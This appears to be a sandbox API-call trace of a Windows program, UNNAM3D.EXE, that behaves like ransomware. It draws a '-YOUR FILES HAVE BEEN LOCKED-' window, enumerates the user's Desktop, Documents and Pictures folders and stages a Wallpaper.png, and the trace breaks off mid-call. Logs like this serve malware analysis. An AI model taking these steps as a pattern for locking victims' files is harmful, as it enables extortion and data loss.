[0131.157] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x3, wParam=0x0, lParam=0xad000d) returned 0x0 [0131.157] GetClientRect (in: hWnd=0x10174, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.157] GetWindowRect (in: hWnd=0x10174, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.157] GetParent (hWnd=0x10174) returned 0x1015e [0131.157] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.157] SendMessageW (hWnd=0x10174, Msg=0x2210, wParam=0x1740001, lParam=0x10174) returned 0x0 [0131.157] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x2210, wParam=0x1740001, lParam=0x10174) returned 0x0 [0131.157] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.157] GetParent (hWnd=0x10174) returned 0x1015e [0131.157] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.157] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.157] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.157] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="What Happend?", dwStyle=0x5600000d, X=13, Y=74, nWidth=160, nHeight=24, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10176 [0131.157] SetWindowLongW (hWnd=0x10176, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.157] GetWindowLongW (hWnd=0x10176, nIndex=-4) returned 1929492681 [0131.157] SetWindowLongW (hWnd=0x10176, nIndex=-4, dwNewLong=85834782) returned 1929492681 [0131.157] GetWindowLongW (hWnd=0x10176, nIndex=-4) returned 85834782 [0131.157] GetWindowLongW (hWnd=0x10176, nIndex=-16) returned 1174405133 [0131.158] GetWindowLongW (hWnd=0x10176, nIndex=-12) returned 0 [0131.158] SetWindowLongW (hWnd=0x10176, nIndex=-12, dwNewLong=65910) returned 0 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.158] GetWindow (hWnd=0x10176, uCmd=0x3) returned 0x10174 [0131.158] GetClientRect (in: hWnd=0x10176, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.158] GetWindowRect (in: hWnd=0x10176, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.158] GetParent (hWnd=0x10176) returned 0x1015e [0131.158] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.158] SetWindowTextW (hWnd=0x10176, lpString="What Happend?") returned 1 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0xc, wParam=0x0, lParam=0x2aaafa4) returned 0x1 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x5, wParam=0x0, lParam=0x1800a0) returned 0x0 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x3, wParam=0x0, lParam=0x4a000d) returned 0x0 [0131.158] GetClientRect (in: hWnd=0x10176, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.158] GetWindowRect (in: hWnd=0x10176, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.158] GetParent (hWnd=0x10176) returned 0x1015e [0131.158] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.158] SendMessageW (hWnd=0x10176, Msg=0x2210, wParam=0x1760001, lParam=0x10176) returned 0x0 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x2210, wParam=0x1760001, lParam=0x10176) returned 0x0 [0131.158] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.158] GetParent (hWnd=0x10176) returned 0x1015e [0131.158] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.158] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.159] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.159] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="-YOUR FILES HAVE BEEN LOCKED-", dwStyle=0x5600000d, X=12, Y=22, nWidth=398, nHeight=25, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10178 [0131.159] SetWindowLongW (hWnd=0x10178, nIndex=-4, dwNewLong=1929492681) returned 85791326 [0131.159] GetWindowLongW (hWnd=0x10178, nIndex=-4) returned 1929492681 [0131.159] SetWindowLongW (hWnd=0x10178, nIndex=-4, dwNewLong=85834822) returned 1929492681 [0131.159] GetWindowLongW (hWnd=0x10178, nIndex=-4) returned 85834822 [0131.159] GetWindowLongW (hWnd=0x10178, nIndex=-16) returned 1174405133 [0131.159] GetWindowLongW (hWnd=0x10178, nIndex=-12) returned 0 [0131.159] SetWindowLongW (hWnd=0x10178, nIndex=-12, dwNewLong=65912) returned 0 [0131.159] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.159] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.159] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.159] GetWindow (hWnd=0x10178, uCmd=0x3) returned 0x10176 [0131.159] GetClientRect (in: hWnd=0x10178, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.159] GetWindowRect (in: hWnd=0x10178, lpRect=0xb6e3e4 | out: lpRect=0xb6e3e4) returned 1 [0131.159] GetParent (hWnd=0x10178) returned 0x1015e [0131.159] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e3e4, cPoints=0x2 | out: lpPoints=0xb6e3e4) returned -14025190 [0131.159] SetWindowTextW (hWnd=0x10178, lpString="-YOUR FILES HAVE BEEN LOCKED-") returned 1 [0131.159] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0xc, wParam=0x0, lParam=0x2aa6824) returned 0x1 [0131.160] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x5, wParam=0x0, lParam=0x19018e) returned 0x0 [0131.160] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x3, wParam=0x0, lParam=0x16000c) returned 0x0 [0131.160] GetClientRect (in: hWnd=0x10178, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.160] GetWindowRect (in: hWnd=0x10178, lpRect=0xb6e43c | out: lpRect=0xb6e43c) returned 1 [0131.160] GetParent (hWnd=0x10178) returned 0x1015e [0131.160] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e43c, cPoints=0x2 | out: lpPoints=0xb6e43c) returned -14025190 [0131.160] SendMessageW (hWnd=0x10178, Msg=0x2210, wParam=0x1780001, lParam=0x10178) returned 0x0 [0131.160] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x2210, wParam=0x1780001, lParam=0x10178) returned 0x0 [0131.160] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.160] GetParent (hWnd=0x10178) returned 0x1015e [0131.160] GetCurrentActCtx (in: lphActCtx=0xb6ec24 | out: lphActCtx=0xb6ec24*=0xe06274) returned 1 [0131.160] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.160] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0131.160] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=344, Y=322, nWidth=177, nHeight=132, hWndParent=0x1015e, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x1017a [0131.160] SetWindowLongW (hWnd=0x1017a, nIndex=-4, dwNewLong=1996432861) returned 85788854 [0131.160] GetWindowLongW (hWnd=0x1017a, nIndex=-4) returned 1996432861 [0131.160] SetWindowLongW (hWnd=0x1017a, nIndex=-4, dwNewLong=85834862) returned 1996432861 [0131.160] GetWindowLongW (hWnd=0x1017a, nIndex=-4) returned 85834862 [0131.160] GetWindowLongW (hWnd=0x1017a, nIndex=-16) returned 1174405120 [0131.160] GetWindowLongW (hWnd=0x1017a, nIndex=-12) returned 0 [0131.161] SetWindowLongW (hWnd=0x1017a, nIndex=-12, dwNewLong=65914) returned 0 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x81, wParam=0x0, lParam=0xb6e6b8) returned 0x1 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x83, wParam=0x0, lParam=0xb6e6a4) returned 0x0 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x1, wParam=0x0, lParam=0xb6e6b8) returned 0x0 [0131.161] GetWindow (hWnd=0x1017a, uCmd=0x3) returned 0x10178 [0131.161] GetClientRect (in: hWnd=0x1017a, lpRect=0xb6e420 | out: lpRect=0xb6e420) returned 1 [0131.161] GetWindowRect (in: hWnd=0x1017a, lpRect=0xb6e420 | out: lpRect=0xb6e420) returned 1 [0131.161] GetParent (hWnd=0x1017a) returned 0x1015e [0131.161] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e420, cPoints=0x2 | out: lpPoints=0xb6e420) returned -14025190 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x5, wParam=0x0, lParam=0x8400b1) returned 0x0 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x3, wParam=0x0, lParam=0x1420158) returned 0x0 [0131.161] GetClientRect (in: hWnd=0x1017a, lpRect=0xb6e478 | out: lpRect=0xb6e478) returned 1 [0131.161] GetWindowRect (in: hWnd=0x1017a, lpRect=0xb6e478 | out: lpRect=0xb6e478) returned 1 [0131.161] GetParent (hWnd=0x1017a) returned 0x1015e [0131.161] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1015e, lpPoints=0xb6e478, cPoints=0x2 | out: lpPoints=0xb6e478) returned -14025190 [0131.161] SendMessageW (hWnd=0x1017a, Msg=0x2210, wParam=0x17a0001, lParam=0x1017a) returned 0x0 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2210, wParam=0x17a0001, lParam=0x1017a) returned 0x0 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0131.161] GetParent (hWnd=0x1017a) returned 0x1015e [0131.161] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.161] GetSystemMetrics (nIndex=42) returned 0 [0131.161] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6ebcc, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.161] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6ebcc) returned 0x7 [0131.202] GetProcessHeap () returned 0xd90000 [0131.202] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe3aca0 | out: hHeap=0xd90000) returned 1 [0131.202] GetProcessHeap () returned 0xd90000 [0131.202] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe30f78 | out: hHeap=0xd90000) returned 1 [0131.203] CoTaskMemAlloc (cb=0x20c) returned 0xe3aca0 [0131.203] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xe3aca0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0131.203] CoTaskMemFree (pv=0xe3aca0) [0131.203] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0xb6e438, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0131.205] CoTaskMemAlloc (cb=0x20c) returned 0xe3aca0 [0131.205] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0xe3aca0 | out: pszPath="C:\\Users\\WhuOXYsD\\Documents") returned 0x0 [0131.207] CoTaskMemFree (pv=0xe3aca0) [0131.207] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x105, lpBuffer=0xb6e394, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x0) returned 0x1b [0131.207] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6df64, nSize=0x64 | out: lpBuffer="") returned 0x0 [0131.208] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0xb6e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0131.208] CoTaskMemAlloc (cb=0x20c) returned 0xe3aca0 [0131.208] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xe3aca0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0131.208] CoTaskMemFree (pv=0xe3aca0) [0131.208] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0xb6e438, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0131.208] CoTaskMemAlloc (cb=0x20c) returned 0xe3aca0 [0131.208] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0xe3aca0 | out: pszPath="C:\\Users\\WhuOXYsD\\Pictures") returned 0x0 [0131.209] CoTaskMemFree (pv=0xe3aca0) [0131.209] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x105, lpBuffer=0xb6e394, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x0) returned 0x1a [0131.209] CoTaskMemAlloc (cb=0x20c) returned 0xe3aca0 [0131.209] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0xe3aca0 | out: pszPath="C:\\Users\\WhuOXYsD\\Desktop") returned 0x0 [0131.210] CoTaskMemFree (pv=0xe3aca0) [0131.210] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0xb6e394, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0131.210] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0xb6e424, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0131.212] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6df64, nSize=0x64 | out: lpBuffer="") returned 0x0 [0131.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e8d0) returned 1 [0131.214] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0xb6e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0131.214] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0xb6e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0131.221] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0xb6e5f8 | out: lpFindFileData=0xb6e5f8) returned 0xdd03f0 [0131.221] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 1 [0131.221] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 1 [0131.221] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 0 [0131.221] FindClose (in: hFindFile=0xdd03f0 | out: hFindFile=0xdd03f0) returned 1 [0131.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e890) returned 1 [0131.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e89c) returned 1 [0131.222] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6df64, nSize=0x64 | out: lpBuffer="") returned 0x0 [0131.223] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x105, lpBuffer=0xb6e424, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x0) returned 0x1a [0131.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e8d0) returned 1 [0131.223] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0xb6e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0131.223] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0xb6e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0131.223] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0xb6e5f8 | out: lpFindFileData=0xb6e5f8) returned 0xdd03f0 [0131.223] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 1 [0131.224] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 1 [0131.224] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 0 [0131.224] FindClose (in: hFindFile=0xdd03f0 | out: hFindFile=0xdd03f0) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e890) returned 1 [0131.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e89c) returned 1 [0131.224] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x105, lpBuffer=0xb6e424, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x0) returned 0x1b [0131.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e8d0) returned 1 [0131.224] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0xb6e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0131.224] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0xb6e3ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0131.224] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0xb6e5f8 | out: lpFindFileData=0xb6e5f8) returned 0xdd03f0 [0131.224] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 1 [0131.224] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 1 [0131.224] FindNextFileW (in: hFindFile=0xdd03f0, lpFindFileData=0xb6e608 | out: lpFindFileData=0xb6e608) returned 0 [0131.225] FindClose (in: hFindFile=0xdd03f0 | out: hFindFile=0xdd03f0) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e890) returned 1 [0131.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e89c) returned 1 [0131.225] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0xb6e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0131.226] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0xb6e428, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0131.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e888) returned 1 [0131.226] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe"), fInfoLevelId=0x0, lpFileInformation=0xb6e904 | out: lpFileInformation=0xb6e904*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c8ef660, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x2c8ef660, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0xcb05cd00, ftLastWriteTime.dwHighDateTime=0x1d4e91f, nFileSizeHigh=0x0, nFileSizeLow=0x7b5800)) returned 1 [0131.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e884) returned 1 [0131.227] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", nBufferLength=0x105, lpBuffer=0xb6e428, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png", lpFilePart=0x0) returned 0x32 [0131.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e888) returned 1 [0131.227] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Wallpaper.png" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\wallpaper.png"), fInfoLevelId=0x0, lpFileInformation=0xb6e904 | out: lpFileInformation=0xb6e904*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f37bfa0, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x2f37bfa0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x2f9e1ac0, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x7c883)) returned 1 [0131.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e884) returned 1 [0131.227] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0xb6e8c8 | out: lpdwProcessId=0xb6e8c8) returned 0x734 [0131.227] GetCurrentThreadId () returned 0x734 [0131.227] IsWindow (hWnd=0x1015c) returned 1 [0131.227] KillTimer (hWnd=0x1015c, uIDEvent=0x1) returned 1 [0131.227] SetTimer (hWnd=0x1015c, nIDEvent=0x2, uElapse=0x7d0, lpTimerFunc=0x0) returned 0x2 [0131.228] SendMessageW (hWnd=0x10166, Msg=0x437, wParam=0x0, lParam=0x2ad7d0c) returned 0x0 [0131.228] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x437, wParam=0x0, lParam=0x2ad7d0c) returned 0x0 [0131.228] SendMessageW (hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.228] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.230] SendMessageW (hWnd=0x10166, Msg=0x449, wParam=0x11, lParam=0xb6e858) returned 0x86 [0131.230] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x449, wParam=0x11, lParam=0xb6e858) returned 0x86 [0131.233] SendMessageW (hWnd=0x10166, Msg=0x204e, wParam=0x10166, lParam=0xb6d914) returned 0x0 [0131.233] SendMessageW (hWnd=0x10166, Msg=0x2111, wParam=0x3000166, lParam=0x10166) returned 0x0 [0131.234] SendMessageW (hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.234] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0131.234] SendMessageW (hWnd=0x10166, Msg=0xb9, wParam=0xffffffff, lParam=0x0) returned 0x0 [0131.234] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xb9, wParam=0xffffffff, lParam=0x0) returned 0x0 [0131.234] SendMessageW (hWnd=0x10166, Msg=0xba, wParam=0x0, lParam=0x0) returned 0x3 [0131.234] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xba, wParam=0x0, lParam=0x0) returned 0x3 [0131.234] SendMessageW (hWnd=0x10166, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0131.234] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0131.235] InvalidateRect (hWnd=0x10166, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x10168, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x1016a, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x1016c, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x1016e, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x10170, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x10172, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x10174, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x10176, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x10178, lpRect=0x0, bErase=1) returned 1 [0131.235] InvalidateRect (hWnd=0x1017a, lpRect=0x0, bErase=1) returned 1 [0131.235] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0xb6ec38 | out: lpdwProcessId=0xb6ec38) returned 0x734 [0131.235] GetCurrentThreadId () returned 0x734 [0131.235] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc12b [0131.235] PostMessageW (hWnd=0x1015e, Msg=0xc12b, wParam=0x0, lParam=0x0) returned 1 [0131.235] GetWindowTextLengthW (hWnd=0x1015e) returned 7 [0131.235] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0131.235] GetSystemMetrics (nIndex=42) returned 0 [0131.235] GetWindowTextW (in: hWnd=0x1015e, lpString=0xb6ebb4, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0131.235] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xd, wParam=0x8, lParam=0xb6ebb4) returned 0x7 [0131.236] GdipImageGetFrameDimensionsCount 